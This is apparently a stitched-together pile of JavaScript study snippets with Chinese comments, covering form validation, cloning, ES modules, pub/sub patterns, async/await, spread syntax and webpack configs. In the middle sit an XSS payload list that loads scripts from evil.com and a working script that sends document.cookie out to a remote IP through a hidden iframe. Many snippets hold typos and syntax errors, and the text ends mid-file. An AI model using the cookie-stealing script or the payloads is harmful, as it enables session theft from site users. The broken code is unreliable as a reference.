var frag = document.createDocumentFragment();
for(var i = 0; i < 1000; i++) {
  var el = document.createElement('p');
  el.innerHTML = i;
  frag.appendChild(el);
}

document.body.appendChild(frag);

/* 策略对象 */
const strategies = {
    isNotEmpty(value, errorMsg) {
        return value=== '' ? errorMsg : void 0
    },

    minLength(value, length, errorMsg) {
        return value.length < length ? errorMsg: void 0
    },

    isMobile(value, errorMsg) {
        return !/^1(3|5|7|8|9)[0-9]{9}$/.test(value) ?
            errorMsg : void 0
    },

    isEmail(value, errorMsg) {
        return !/^\w+([+-.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/.test(value) ?
            errorMsg : void 0
    }
}


validator.add(registerForm.userName, [{
    strategy: 'isNonEmpty',
    errorMsg: '用户名不能为空'
}, {
    strategy: 'minLength:6',
    errorMsg: '用户名长度不能小于6位'
}]);

class Validator {
    constructor() {
        this.cache = [] //保存校验规则
    }

    add(dom, rules) {
        for(let rule of rules) {
            let strategyAry = rule.strategy.split(':');
            let errorMsg = rule.errorMsg
            this.cache.push(() => {
                let strategy = strategyAry.shift() //用户挑选的strategy
                strategyAry.unshift(dom.value) //把Input的value添加进参数列表
                strategyAry.push(errorMsg) //把errorMssg添加进参数列表, [dom.value, 6, errorMsg]
                return strategies[strategy].apply(dom, strategyAry)
            })
        }
    }

    start() {
        for (let validatorFunc of this.cache) {
            let errorMsg = validatorFunc() //开始校验并取得校验后的返回信息
            if(errorMsg) {
                return errorMsg
            }
        }
    }
}



let registerForm = document.querySelector('#registerForm')

const validatorFunc = () => {
    let validator = new Validator()

    validator.add(registerForm.userName, [{
        strategy: 'isNonEmpty',
        errorMsg: '用户名不能为空！'
    }, {
        strategy: 'minLength:6',
        errorMsg: '用户名长度不能小于6位！'
    }])

    validator.add(registerForm.passWord, [{
        strategy: 'isNonEmpty',
        errorMsg: '密码不能为空！'
    }, {
        strategy: 'minLength:',
        errorMsg: '密码长度不能小于6位！'
    }])

    validator.add(registerForm.phoneNumber, [{
        strategy: 'isNonEmpty',
        errorMsg: '手机号码不能为空！'
    }, {
        strategy: 'isMoblie',
        errorMsg: '手机号码格式不正确！'
    }])

    validator.add(registerForm.emailAddress, [{
        strategy: 'isNonEmpty',
        errorMsg: '邮箱地址不能为空！'
    }, {
        strategy: 'isEmail',
        errorMsg: '邮箱地址格式不正确！'
    }])
    let errorMsg = validator.start()
    return errorMsg
}

registerForm.addEventListener('submit', function() {
    let errorMsg = validatorFunc()

    if(errorMsg) {
        alert(errorMsg)
        return false
    }
}, false)

{
  "dependencies": {
    "@babel/runtime": "^7.2.0"
  },
  
  "devDependencies": {
    "@babel/cli": "^7.2.3",
    "@babel/core": "^7.2.2",
    "@babel/plugin-syntax-dynamic-import": "^7.2.0",
    "@babel/plugin-transform-runtime": "^7.2.0",
    "@babel/preset-env": "^7.2.3",
     "babel-loader": "^8.0.4",
  }
}

    var source = {
        name:"source",
        child:{
            name:"child"
        }
    }
    var target = JSON.parse(JSON.stringify(source));
    //改变target的name属性
    target.name = "target";
    console.log(source.name);   //source
    console.log(target.name);   //target
    //改变target的child
    target.child.name = "target child";
    console.log(source.child.name);  //child
    console.log(target.child.name);  //target child

var cloneObj = function(obj) {
    var str,
        newObj = obj.constructor === Array ? [] : {};

    if(typeof obj !== 'object') {
        return;
    } else if(window.JSON) {
        str = JSON.stringify(obj);
        newObj = JSON.parse(str);
    } else {
        for(var i in obj) {
            if(obj.hasOwnProperty(i)) {
                newObj[i] = typeof obj[i] === 'object' ? cloneObj(obj[i]) : obj[i]
            }
        }
    }

    return newObj;
}

var obj = {
    arr: [1, 2, 3],
    b: {
        c: 1,
        d: 2
    }
}


var newobj = cloneObj(obj);

console.log(newobj); 

jQuery.extend = jQuery.fn.extend = function() {
	var src, copyIsArray, copy, name, options, clone,
		target = arguments[0] || {},
		i = 1,
		length = arguments.length,
		deep = false;

	// Handle a deep copy situation
	if ( typeof target === "boolean" ) {
		deep = target;

		// skip the boolean and the target
		target = arguments[ i ] || {};
		i++;
	}

	// Handle case when target is a string or something (possible in deep copy)
	if ( typeof target !== "object" && !jQuery.isFunction(target) ) {
		target = {};
	}

	// extend jQuery itself if only one argument is passed
	if ( i === length ) {
		target = this;
		i--;
	}

	for ( ; i < length; i++ ) {
		// Only deal with non-null/undefined values
		if ( (options = arguments[ i ]) != null ) {
			// Extend the base object
			for ( name in options ) {
				src = target[ name ];
				copy = options[ name ];

				// Prevent never-ending loop
				if ( target === copy ) {
					continue;
				}

				// Recurse if we're merging plain objects or arrays
				if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) {
					if ( copyIsArray ) {
						copyIsArray = false;
						clone = src && jQuery.isArray(src) ? src : [];

					} else {
						clone = src && jQuery.isPlainObject(src) ? src : {};
					}

					// Never move original objects, clone them
					target[ name ] = jQuery.extend( deep, clone, copy );

				// Don't bring in undefined values
				} else if ( copy !== undefined ) {
					target[ name ] = copy;
				}
			}
		}
	}

	// Return the modified object
	return target;
};

<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>

<!-- onload attribute -->
<body onload=alert("XSS")>
<!-- background attribute -->
<body background="javascript:alert("XSS")">

<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!--  tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">

<!-- <iframe> tag XSS -->
<iframe src=”http://evil.com/xss.html”>

<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">

<!-- <link> tag XSS -->
<link rel="stylesheet" href="javascript:alert('XSS');">

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

// CommonJS模块
let { stat, exists, readFile } = require('fs');

// 等同于
let _fs = require('fs');
let stat = _fs.stat;
let exists = _fs.exists;
let readfile = _fs.readfile;

// es6模块
import { stat, exists, readFile } from 'fs';

export var foo = 'bar';
setTimeout(() => foo = 'baz', 500);

function foo() {
  export default 'bar' // SyntaxError
}
foo()

foo();
import { foo } from 'my_module';

// 报错
import { 'f' + 'oo' } from 'my_module';

// 报错
let module = 'my_module';
import { foo } from module;

// 报错
if (x === 1) {
  import { foo } from 'module1';
} else {
  import { foo } from 'module2';
}

require('core-js/modules/es6.symbol');
require('core-js/modules/es6.promise');
import React from 'React';

// 正确
export var a = 1;

// 正确
var a = 1;
export default a;

// 错误
export default var a = 1;

// 正确
export default 42;

// 报错
export 42;

//创建一个汽车
var Car  = function(param){
    this.color = param && param.color || 'yellow';
    this.brand = param && param.brand || 'Tesla';
    this.power = param && param.power || 'electric';
}
//提供原型方法
Car.prototype = {
    getColor : function () {
        return this.color;
    },
    getBrand : function () {
        return this.brand;
    },
    getPower : function () {
        return this.power;
    }
}

//创建一个反馈
var FeedBack = function(brand){
    var that = this;
    (function(brand,that){
        switch (brand){
            case 'Tesla':
                // that.brand = brand;
                that.information = '特斯拉是好车'
                break
            case 'Rolls' :
                that.information = '劳斯来时是好车'
        }
    })(brand,that)
}

FeedBack.prototype.changeBrand = function (information) {
    this.information = information;
}


//创建一个顾客
var Client = function(name,message){
    this.name = name;
    this.message = message || '无留言';
}
//顾客修改备注
Client.prototype.changeMessage = function(message){
    this.message = message;
}
//然后重点在这里！我们在这里将我们分解的拼接起来。
var Order = function(name){
    var object = new Car();
    object.client  = new Client(name);
    object.feedBack = new FeedBack(object.brand);
    return object;
}


var orderCar = new Order('Vendar-MH');
console.log('The' + orderCar.client.name + '先生、下单一辆' + orderCar.color + '的' + orderCar.brand +' 留言内容 : ' +orderCar.client.message );
orderCar.client.changeMessage('请马上电话联系我')
console.log('The' + orderCar.client.name + '先生、下单一辆' + orderCar.color + '的' + orderCar.brand +' 留言内容 : ' +orderCar.client.message );

----------执行结果--------

TheVendar-MH先生、下单一辆yellow的Tesla 留言内容 : 无留言
TheVendar-MH先生、下单一辆yellow的Tesla 留言内容 : 请马上电话联系我

//函数
var a = function() {};
cosnole.log(a.__proto__); //function() {}
cosnole.log(a.constructor) //function Function() {...} 这里的Function就是构造器
console.log(a.constructor.prototype) //function() {}
// a.__proto__ = a.constructor.prototype


//数组
var b = [];
console.log(b.__proto__); //[Symbol(Symbol.unscopables): Object]
console.log(b.__proto__.__proto__); //Object{} 这才是顶层
console.log(b.constructor); //function Array() {...} 这里的Array就是构造器
console.log(b.constructor.prototype)//[Symbol(Symbol.unscopables): Object]
console.log(b.constructor.prototype.__proto__) //Object {}这才是顶层
//b.__proto__ = b.constructor.prototype

//对象
var c = {};
console.log(c.__proto__); //Object{}
console.log(c.constructor);//function Object() {...} 这里的Object就是构造器
console.log(c.constructor.prototype) //Object{}
//c.__proto__ = c.constructor.prototype

//造物主是__proto__
Array.constructor.prototype  = Array.__proto__//function () {}
Object.constructor.prototype === Object.__proto__//function () {}
Function.constructor.prototype === Function.__proto__//function () {}

//万物之源皆是Object
Function.constructor.prototype.__proto__ === Function.__proto__.__proto__ //Object {}
Object.constructor.prototype.__proto__ === Object.__proto__.__proto__ //Object {}
Array.constructor.prototype.__proto__ === Array.__proto__.__proto__//Object {}

var pubsub = {};

(function(myObject) {

    // Storage for topics that can be broadcast
    // or listened to
    var topics = {};

    // An topic identifier
    var subUid = -1;

    // Publish or broadcast events of interest
    // with a specific topic name and arguments
    // such as the data to pass along
    myObject.publish = function( topic, args ) {

        if ( !topics[topic] ) {
            return false;
        }

        var subscribers = topics[topic],
            len = subscribers ? subscribers.length : 0;

        while (len--) {
            subscribers[len].func(args);
        }

        return this;
    };

    // Subscribe to events of interest
    // with a specific topic name and a
    // callback function, to be executed
    // when the topic/event is observed
    myObject.subscribe = function( topic, func ) {

        if (!topics[topic]) {
            topics[topic] = [];
        }

        var token = ( ++subUid ).toString();
        topics[topic].push({
            token: token,
            func: func
        });
        return token;
    };

    // Unsubscribe from a specific
    // topic, based on a tokenized reference
    // to the subscription
    myObject.unsubscribe = function( token ) {
        for ( var m in topics ) {
            if ( topics[m] ) {
                for ( var i = 0, j = topics[m].length; i < j; i++ ) {
                    if ( topics[m][i].token === token ) {
                        topics[m].splice( i, 1 );
                        return token;
                    }
                }
            }
        }
        return this;
    };
}( pubsub ));


//来，订阅一个
pubsub.subscribe('example1', function (data) {
    console.log(data.toString());
});

//发布通知
pubsub.publish('example1', 'hello world!');
pubsub.publish('example1', ['test', 'a', 'b', 'c']);
pubsub.publish('example1', [{ 'color': 'blue' }, { 'text': 'hello'}]);

var publisher = {

    subscribers : {
        any : []    // 事件类型： 订阅者
    },

    // 将订阅者提供的调用方法添加到subscribers 订阅的事件数组中
    subscribe : function(fn, type) {
        type = type || 'any';
        if (typeof this.subscribers[type] === 'undefined') {
            this.subscribers[type] = [];
        }
        this.subscribers[type].push(fn);
    },

    // 删除订阅者
    unsubscribe : function(fn, type) {
        this.visitSubscribers('unsubscribe', fn, type);
    },

    // 循环遍历subscribers中每个元素，并调用他们所提供的方法
    publish : function(publication, type) {
        this.visitSubscribers('publish', publication, type);
    },

    // helper
    visitSubscribers: function (action, arg, type) {
        var pubtype = type || 'any',
            subscribers = this.subscribers[pubtype],
            i,
            max = subscribers.length;
        for (i = 0; i < max; i++) {
            if (action === 'publish') {
                // 调用订阅者订阅该事件所提供的方法
                subscribers[i](arg);
            } else {
                // 找到当前订阅事件中提供的方法，并删除
                if (subscribers[i] === arg) {
                    subscribers.splice(i, 1);
                }
            }
        }
    }
};

publisher.subscribe(function(data) {
    console.log('第一个订阅 ' + data);
}, 'first');

publisher.subscribe(function() {
    publisher.publish('123', 'first');
}, 'second');

// console.log(publisher);


// publisher.publish('123', 'first');

publisher.publish(null, 'second');

var Event = (function(){
    var clientList = {}, // 缓存列表
        listen,
        trigger,
        remove;
    
    listen = function(key, id, fn){
        if(!clientList[key]){
            clientList[key] = [];    // 初始化
        }
        clientList[key].push({      // 将订阅的id, 回调函数添加到对应的消息列表里
            id: id,                         
            fn: fn                          
        });
    };
    
    trigger = function() {
        var key = Array.prototype.shift.call(arguments),
            fns = clientList[key];
        if(!fns || fns.length == 0) {
            return false;
        }
        for(var i = 0; i < fns.length; i++) {
            fns[i].fn.apply(this, arguments);
        }
    };
    
    remove = function(key, id) {
        var fns = clientList[key];
        
        if(!fns) {                // 如果key对应的消息没人订阅，直接返回
            return false;
        }
        
        if(!id) {           // 如果没传具体的唯一标识，则取消key的所有对应消息
            fns && (fns.length = 0);
        } else {
            for(var l = fns.length - 1; l >=0; l--) {
                var _id = fns[l].id;
                if(_id == id) {
                    fns.splice(l, 1);    // 删除订阅者的回调函数
                }
            }
        }
    };
    
    return {
        listen: listen,
        trigger: trigger,
        remove: remove
    }
})();

Event.listen('questA', 1, function(content) {
    console.log('内容为：' + content);
});

Event.trigger('questA', '王五回答了该问题');

var date = new Date(),
    time = date.getTime();

var model = {
  inc: time,
  uid: function() {
    var new_id = 0;
    new_id += time;
    
    //自增
    this.inc++;
    new_id += this.inc;
    return new_id;
  }
}


for(var i = 0; i < 10; i++) {
  console.log(model.uid())
}

var fs = require('fs');

var readFile = function (fileName) {
  return new Promise(function (resolve, reject) {
    fs.readFile(fileName, function (error, data) {
      if (error) reject(error);
      resolve(data);
    })
  });
};

var gen = async function () {
  var f1 = await readFile('/etc/fstab');
  var f2 = await readFile('/etc/shells');
  console.log(f1.toString());
  console.log(f2.toString());
}

async function getStockPriceName (name) {
  var symbol = await getStockSymbol(name);
  var stock = await getStockPrice(symbol);
  return stockPrice;
}

getStockPriceByName('goog').then(result => console.log(result));

async function timeout (ms) {
  await new Promise(resolve => {
    setTimeout(resolve, ms);
  })
};

async function asyncPrint (value, ms) {
  await timeout(ms);
  console.log(value)
};
asyncPrint('hello world', 50);

async function f() {
  return 'hello world';
}
f().then(v => console.log(v));
// hello world

async function f() {
  throw new Error('出错了');
}

f().then(
  v => console.log(v),
  e => console.log(e)
)
// Error: 出错了

async function f() {
  return await 123;
}

f().then(v => console.log(v))
// 123

async function f() {
  try {
    await Promise.reject('出错了')
  } catch (e) {
    return await Promise.resolve('hello world');
  }
}

f().then(v => console.log(v));
// hello world

async function f() {
  await Promise.reject('出错了').catch(e => console.log(e));
  return await Promise.resolve('hello world');
}
f().then(v => console.log(v));
// 出错了
// hello world

async function f() {
  await new Promise(function (resolve, reject) {
    throw new Error('出错了')；
  })；
}

f().then(v => console.log(v)).catch(e => console.lg(e));
// Error: 出错了

// 写法一
let [foo, bar]= await Promise.all([getFoo(), getBar()]);
//写法二
let fooPromise = getFoo();
let barPromise = getBar();
let foo = await fooPromise;
let bar = await barPromise;

async function dbFunc(db) {
  let docs = [{}, {}, {}];
  let promises = doc.map(doc => db.post(doc));
  
  let results = await Promise.all(promises);
  console.log(results);
}
// 或者使用下面的写法
async function dbFunc(db) {
  let docs = [{}, {}, {}];
  let promises = doc.map(doc => db.post(doc));
  let results = [];
  for (let promise of promises) {
    results.push(await promise);
  }
  console.log(results);
}

var combineReducer1 = function(obj) {
  //内部具体代码
  
  var finalState = {};
  function reducer(state, action) {
    //reducer具体逻辑
    for(var p in obj) {
      finalState[p] = obj[p](state[p], action);
    }
    
    //返回state
    return finalState;
  }
  
  //返回最终的reducer
  return reducer;
}

function combineReducers(reducers) {
  //过滤reducers，把非function类型的过滤掉~
  var finalReducers = pick(reducers, (val) => typeof val === 'function');
  //一开始我一直以为这个没啥用，后来我发现，这个函数太重要了。它在一开始，就已经把你的State改变了。变成了，Reducer的key 和 Reducer返回的initState组合。
  var defaultState = mapValues(finalReducers, () => undefined);
  
  return function combination(state = defaultState, action) {
    //finalReducers 是 reducers
    var finalState = mapValues(finalReducers, (reducer, key) => {
      
      //state[key] 是当前Reducer所对应的State，可以理解为当前的State
      var previousStateForKey = state[key];
      var nextStateForKey = reducer(previousStateForKey, action);
      
      return nextStateForKey;
    });
    
    finalState 是 Reducer和key和state的组合
  }
}

if(document.readyState === 'complete') {
  //页面已经完全加载
}

let stateCheck = setInterval(() => {
  if (document.readyState === 'complete') {
    clearInterval(stateCheck)
    
    //document ready
  }
}, 100)

document.onreadystatechange = () => {
  if(document.readyState === 'complete') {
    //document ready
  }
}

var Parent = function(){};
Parent.prototype.toString = function(){
    return 'parent';
};
var Child = function(){};
Child.prototype = new Parent();
 
var obj = new Child();
alert(obj);  //弹出：'parent'

var Parent = function(){};
Parent.prototype.valueOf = function(){
    return 'Parent valueOf';
};
var Child = function(){};
Child.prototype = new Parent();
 
var obj = new Child();
alert(ob j== 'Parent valueOf');  //弹出 true

console.log(...[1, 2, 3])
// 1 2 3

console.log(1, ...[2, 3, 4], 5)
// 1 2 3 4 5

[...document.querySelectorAll('div')]
// [<div>, <div>, <div>]

function push(array, ...items) {
  array.push(...items);
}

function add(x, y) {
  return x + y;
}

var numbers = [4, 38];
add(...numbers) // 42

// es5
[1, 2].concat(more)
// es6
[1, 2, ...more]

var arr1 = ['a', 'b']
var arr2 = ['c']
var arr3 = ['d', 'e']

// es5的合并数组
arr1.concat(arr2, arr3)
// ['a', 'b', 'c', 'd', 'e']

// es6的合并数组
[...arr1, ...arr2, ...arr3]

// es5
a = list[0], rest = list.slice(1)
// es6
[a, ...rest] = list

const [first, ...rest] = [1, 2, 3, 4, 5, 6]
first // 1
rest // [2, 3, 4, 5]

const [first, ...rest] = []
first // undefined
rest // []

const [first, ...rest] = ['foo']
first // 'foo'
rest // []

const [...butlast, last] = [1, 2, 3, 4, 5];
// 报错
const [first, ...middle, last] = [1, 2, 3, 4, 5];
// 报错

var dateFields = readDateFields(database);
var d = new Date(...dateFields);

[...'hello'] // ['h', 'e', 'l', 'l', 'o']

'x\uD83D\uDE80y'.length // 4
[...'x\uD83D\uDE80y'].length // 3

function length(str) {
  return [...str].length
}

length('x\uD83D\uDE80y')

let str = 'x\uD83D\uDE80y';

str.split('').reverse().join('')
// 'y\uDE80\uD83Dx'

[...str].reverse().join('')
// 'y\uD83D\uDE80x'

var nodeList = document.querySelectorAll('div')
var array = [...nodeList];

let arrayLike = {
  '0': 'a',
  '1': 'b',
  '2' '从，
  length: 3
};

// TypeError: Cannot spread non-iteratable object
let arr = [...arryLike];

let map = new Map([
  [1, 'one'],
  [2, 'two'],
  [3, 'three']
]);

let arr = [...map.keys()]; //[1, 2, 3]

var go = function *() {
  yield 1;
  yield 2;
  yield 3;
}

[...go()]// [1, 2, 3]

var obj = {a: 1, b: 2};
let arr = [...obj]; // TypeError: Cannot spread non-iterable object

function P(fn) {
  var value = null;
  var events = [];
  this.then = function(f) {
    events.push(f);
    return this;
  }
  
  function resolve(newValue) {
    vat f = events.shift();
    f(newValue, resolve);
  }
  
  fn(resolve);
}

function a() {
  return new P(function(resolve) {
    console.log('get...');
    setTimeout(function() {
      console.log('get 1');
      resolve(1)
    }, 1000);
  });
}

a().then(function(value, resolve) {
  console.log('get ...');
  setTimeout(function() {
    console.log('get 2');
    resolve(2);
  }, 1000);
}).then(function(value, resolve) {
  console.log(value);
});

//get...
//get 1
//get...
//get 2
//2

var Event = (function() {
  var clientList = {},
  		listen,
  		trigger,
  		remove;
  		
  listen = function(key, id, fn) {
    if(!clientList[key]) {
      clientList[key] = []
    }
    clientList[key].push({
      id: id,
      fn: fn
    });
    
    trigger = function() {
      var key = Array.prototype.shift.call(arguments),
      		fns = clientList[key];
      		
      	if(!fns || fns.length === 0) {
          return false;
      	}
      	
      	for(var i = 0; i < fns.length; i++) {
          fns[i].fn.apply(this, arguments);
      	}
    };
    
    remove = function(key, id) {
      var fns = clientList[key];
      
      if(!fns) {
        return false;
      }
      
      if(!id) {
        fns && (fns.length = 0)
      } else {
        for(var l = fns.length - 1; l >= 0; l--) {
          var _id = fns[l].id;
          if(_id === id) {
            fns.splice(l, 1);
          }
        }
      };
      
      return {
        listen: listen,
        trigger: trigger,
        remove: remove
      }
    }
  }
})();

'use strict';

class EmitterEvent {
    constructor() {
        this._event = {}
    }
    //订阅
    on(eventName, handler) {
        if(this._event[eventName]) {
            this._event[eventName].push(handler)
        } else {
            this._event[eventName] = [handler]
        }
    }

    emit(eventName) {
        const events = this._event[eventName];

        const otherArgs = Array.prototype.slice.call(arguments, 1);

        const that = this;

        if(events) {
            events.forEach((event) => {
                event.apply(that, otherArgs);
            })
        }
    }
    //解除订阅
    off(eventName, handler) {
        const events = this._event[eventName];

        this._event[eventName] = events.filter((event) => {
            return event !== handler;
        })
    }

    //订阅以后，发布执行一次直接解除
    once(eventName, handler) {
        const that = this;
        function func() {
            const args = Array.prototype.slice.call(arguments, 0);
            handler.apply(that, args);
            this.off(eventName, func);
        }

        this.on(eventName, func)
    }
}

const event = new EmitterEvent();

function a(something) {
    console.log(something, 'aa-aa')
}

function b(something) {
    console.log(something)
}

event.once('dosomething', a)

event.emit('dosomething', 'chifan');

function getCssProperty(elmId, property) {
  var elem = document.getElementById(elmId);
  return window.getComputedStyle(elem, null).getPropertyValue(property);
}

var left = getCssProperty('my-div', 'left');

var A = document.getElementById('A');
    A.onclick = function(){
        alert(1)
    }
    //装饰者
    var decorator = function (id,fn){
        var dom = document.getElementById(id);
        if(typeof dom.onclick === 'function'){
            var oldClickFn = dom.onclick;
            dom.onclick = function(){
                oldClickFn();
                fn();
            }
        }else{
            dom.onclick = fn;
        }
    }
    //利用装饰者对元素增加事件。
    decorator('A',function(){
        setTimeout(function(){
            alert(2)
        },5000)
    })

(function (window, undefined) {
    var treeNodes = [
       {
            id: 1,
            name: '1',
            children: [
                 {
                      id: 11,
                      name: '11',
                      children: [
                           {
                                id: 111,
                                name: '111',
                                children:[]
                           },
                           {
                                id: 112,
                                name: '112'
                           }
                      ]
                 },
                 {
                      id: 12,
                      name: '12',
                      children: []
                 }
            ],
            users: []
       },
       {
            id: 2,
            name: '2',
            children: [
                {
                    id: 22,
                    name: '22',
                    children: []
                }
            ]
       }
    ];

    //递归实现
    var parseTreeJson = function(treeNodes){
      if (!treeNodes || !treeNodes.length) return;

       for (var i = 0, len = treeNodes.length; i < len; i++) {

            var childs = treeNodes[i].children;

            console.log(treeNodes[i].id);

            if(childs && childs.length > 0){
                 parseTreeJson(childs);
            }
       }
    };

    console.log('------------- 递归实现 ------------------');
    parseTreeJson(treeNodes);

    //非递归广度优先实现
    var iterator1 = function (treeNodes) {
        if (!treeNodes || !treeNodes.length) return;

        var stack = [];

        //先将第一层节点放入栈
        for (var i = 0, len = treeNodes.length; i < len; i++) {
            stack.push(treeNodes[i]);
        }

        var item;

        while (stack.length) {
            item = stack.shift();

            console.log(item.id);

            //如果该节点有子节点，继续添加进入栈底
            if (item.children && item.children.length) {
                //len = item.children.length;

                // for (i = 0; i < len; i++) {
                //  stack.push(item.children[i]);
                // }

                stack = stack.concat(item.children);
            }
        }
    };

    console.log('------------- 非递归广度优先实现 ------------------');
    iterator1(treeNodes);

    //非递归深度优先实现
    var iterator2 = function (treeNodes) {
        if (!treeNodes || !treeNodes.length) return;

        var stack = [];

        //先将第一层节点放入栈
        for (var i = 0, len = treeNodes.length; i < len; i++) {
            stack.push(treeNodes[i]);
        }

        var item;

        while (stack.length) {
            item = stack.shift();

            console.log(item.id);

            //如果该节点有子节点，继续添加进入栈顶
            if (item.children && item.children.length) {
                // len = item.children.length;

                // for (; len; len--) {
                //  stack.unshift(item.children[len - 1]);
                // }
                stack = item.children.concat(stack);
            }
        }
    };

    console.log('------------- 非递归深度优先实现 ------------------');
    iterator2(treeNodes);
})(window);

targetWindow.postMessage('Hello World', 'http://example.com')

window.addEventListener('message', function (e) {
  var message = e.data;
});

window.onload = function () {
  //get the window displayed in the iframe
  var receiver = document.getElementById('receiver').contentWindow;
  // get a reference to the 'Send Message' button
  var btn = document.getElementById('send');
  // A function to handle sending messages
  function sendMesage (e) {
    e.preventDefault();
    // send a message with the text 'Hello Treehouse' to receiver window
    receiver.postMessage('Hello treeHouse', 'http://demos.matt-west.com');
  }
  
 // Add an event listener that will execute the sendMesage() function when the send button is clicked
  btn.addEventListener('click', sendMessage);
}

window.onload = function() {
  // Get a reference to the div on the page that will display the
  // message text.
  var messageEle = document.getElementById('message');

  // A function to process messages received by the window.
  function receiveMessage(e) {
    // Check to make sure that this message came from the correct domain.
    if (e.origin !== "http://s.codepen.io")
      return;

    // Update the div element to display the message.
    messageEle.innerHTML = "Message Received: " + e.data;
  }

  // Setup an event listener that calls receiveMessage() when the window
  // receives a new MessageEvent.
  window.addEventListener('message', receiveMessage);
}

Promise.resolve('foo');
// 等价于
new Promise(resolve => resolve('foo'));

Promise.reject('error');
// 等价于
new Promise((resolve, reject) => reject('error'));

'use strict'
const path = require('path')
const utils = require('./utils')
const config = require('../config')
const vueLoaderConfig = require('./vue-loader.conf')
const VueLoaderPlugin = require('vue-loader/lib/plugin')
const LodashModuleReplacementPlugin = require('lodash-webpack-plugin')

function resolve (dir) {
  return path.join(__dirname, '..', dir)
}

const createLintingRule = () => ({
  test: /\.(js|vue)$/,
  loader: 'eslint-loader',
  enforce: 'pre',
  include: [resolve('src'), resolve('test')],
  options: {
    formatter: require('eslint-friendly-formatter'),
    emitWarning: !config.dev.showEslintErrorsInOverlay
  }
})

module.exports = {
  context: path.resolve(__dirname, '../'),
  entry: {
    app: './src/main.js'
  },
  output: {
    path: config.build.assetsRoot,
    filename: '[name].js',
    publicPath: process.env.NODE_ENV === 'production'
      ? config.build.assetsPublicPath
      : config.dev.assetsPublicPath
  },
  resolve: {
    extensions: ['.js', '.vue', '.json'],
    alias: {
      '@': resolve('src')
    }
  },
  module: {
    rules: [
      ...(config.dev.useEslint ? [createLintingRule()] : []),
      {
        test: /\.vue$/,
        loader: 'vue-loader',
        options: vueLoaderConfig
      },
      {
        test: /\.js$/,
        loader: 'babel-loader',
        include: [resolve('src'), resolve('test'), resolve('node_modules/webpack-dev-server/client')]
      },
      {
        test: /\.(png|jpe?g|gif|svg)(\?.*)?$/,
        loader: 'url-loader',
        options: {
          limit: 10000,
          name: utils.assetsPath('img/[name].[hash:7].[ext]')
        }
      },
      {
        test: /\.(mp4|webm|ogg|mp3|wav|flac|aac)(\?.*)?$/,
        loader: 'url-loader',
        options: {
          limit: 10000,
          name: utils.assetsPath('media/[name].[hash:7].[ext]')
        }
      },
      {
        test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/,
        loader: 'url-loader',
        options: {
          limit: 10000,
          name: utils.assetsPath('fonts/[name].[hash:7].[ext]')
        }
      }
    ]
  },
  node: {
    // prevent webpack from injecting useless setImmediate polyfill because Vue
    // source contains it (although only uses it if it's native).
    setImmediate: false,
    // prevent webpack from injecting mocks to Node native modules
    // that does not make sense for the client
    dgram: 'empty',
    fs: 'empty',
    net: 'empty',
    tls: 'empty',
    child_process: 'empty'
  },
  plugins: [
    new VueLoaderPlugin()
  ]
}

'use strict'
const utils = require('./utils')
const webpack = require('webpack')
const config = require('../config')
const merge = require('webpack-merge')
const path = require('path')
const baseWebpackConfig = require('./webpack.base.conf')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const FriendlyErrorsPlugin = require('friendly-errors-webpack-plugin')
const portfinder = require('portfinder')

const HOST = process.env.HOST
const PORT = process.env.PORT && Number(process.env.PORT)

const devWebpackConfig = merge(baseWebpackConfig, {
  mode: 'development',
  module: {
    rules: utils.styleLoaders({ sourceMap: config.dev.cssSourceMap, usePostCSS: true })
  },
  // cheap-module-eval-source-map is faster for development
  devtool: config.dev.devtool,

  // these devServer options should be customized in /config/index.js
  devServer: {
    // https://stackoverflow.com/questions/53906803/webpack-4-hot-reload-invalid-host-origin-header
    disableHostCheck: true,
    clientLogLevel: 'warning',
    historyApiFallback: {
      rewrites: [
        { from: /.*/, to: path.posix.join(config.dev.assetsPublicPath, 'index.html') },
      ],
    },
    hot: true,
    contentBase: false, // since we use CopyWebpackPlugin.
    compress: true,
    host: HOST || config.dev.host,
    port: PORT || config.dev.port,
    open: config.dev.autoOpenBrowser,
    overlay: config.dev.errorOverlay
      ? { warnings: false, errors: true }
      : false,
    publicPath: config.dev.assetsPublicPath,
    proxy: config.dev.proxyTable,
    quiet: true, // necessary for FriendlyErrorsPlugin
    watchOptions: {
      poll: config.dev.poll,
    }
  },
  plugins: [
    new webpack.HotModuleReplacementPlugin(),
    // https://github.com/ampedandwired/html-webpack-plugin
    new HtmlWebpackPlugin({
      filename: 'index.html',
      template: 'index.html',
      inject: true
    }),
    // copy custom static assets
    new CopyWebpackPlugin([
      {
        from: path.resolve(__dirname, '../static'),
        to: config.dev.assetsSubDirectory,
        ignore: ['.*']
      }
    ])
  ]
})

module.exports = new Promise((resolve, reject) => {
  portfinder.basePort = process.env.PORT || config.dev.port
  portfinder.getPort((err, port) => {
    if (err) {
      reject(err)
    } else {
      // publish the new Port, necessary for e2e tests
      process.env.PORT = port
      // add port to devServer config
      devWebpackConfig.devServer.port = port

      // Add FriendlyErrorsPlugin
      devWebpackConfig.plugins.push(new FriendlyErrorsPlugin({
        compilationSuccessInfo: {
          messages: [`Your application is running here: http://${devWebpackConfig.devServer.host}:${port}`],
        },
        onErrors: config.dev.notifyOnErrors
        ? utils.createNotifierCallback()
        : undefined
      }))

      resolve(devWebpackConfig)
    }
  })
})

'use strict'
const path = require('path')
const utils = require('./utils')
const webpack = require('webpack')
const config = require('../config')
const merge = require('webpack-merge')
const baseWebpackConfig = require('./webpack.base.conf')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const HtmlWebpackPlugin = require('html-webpack-plugin')
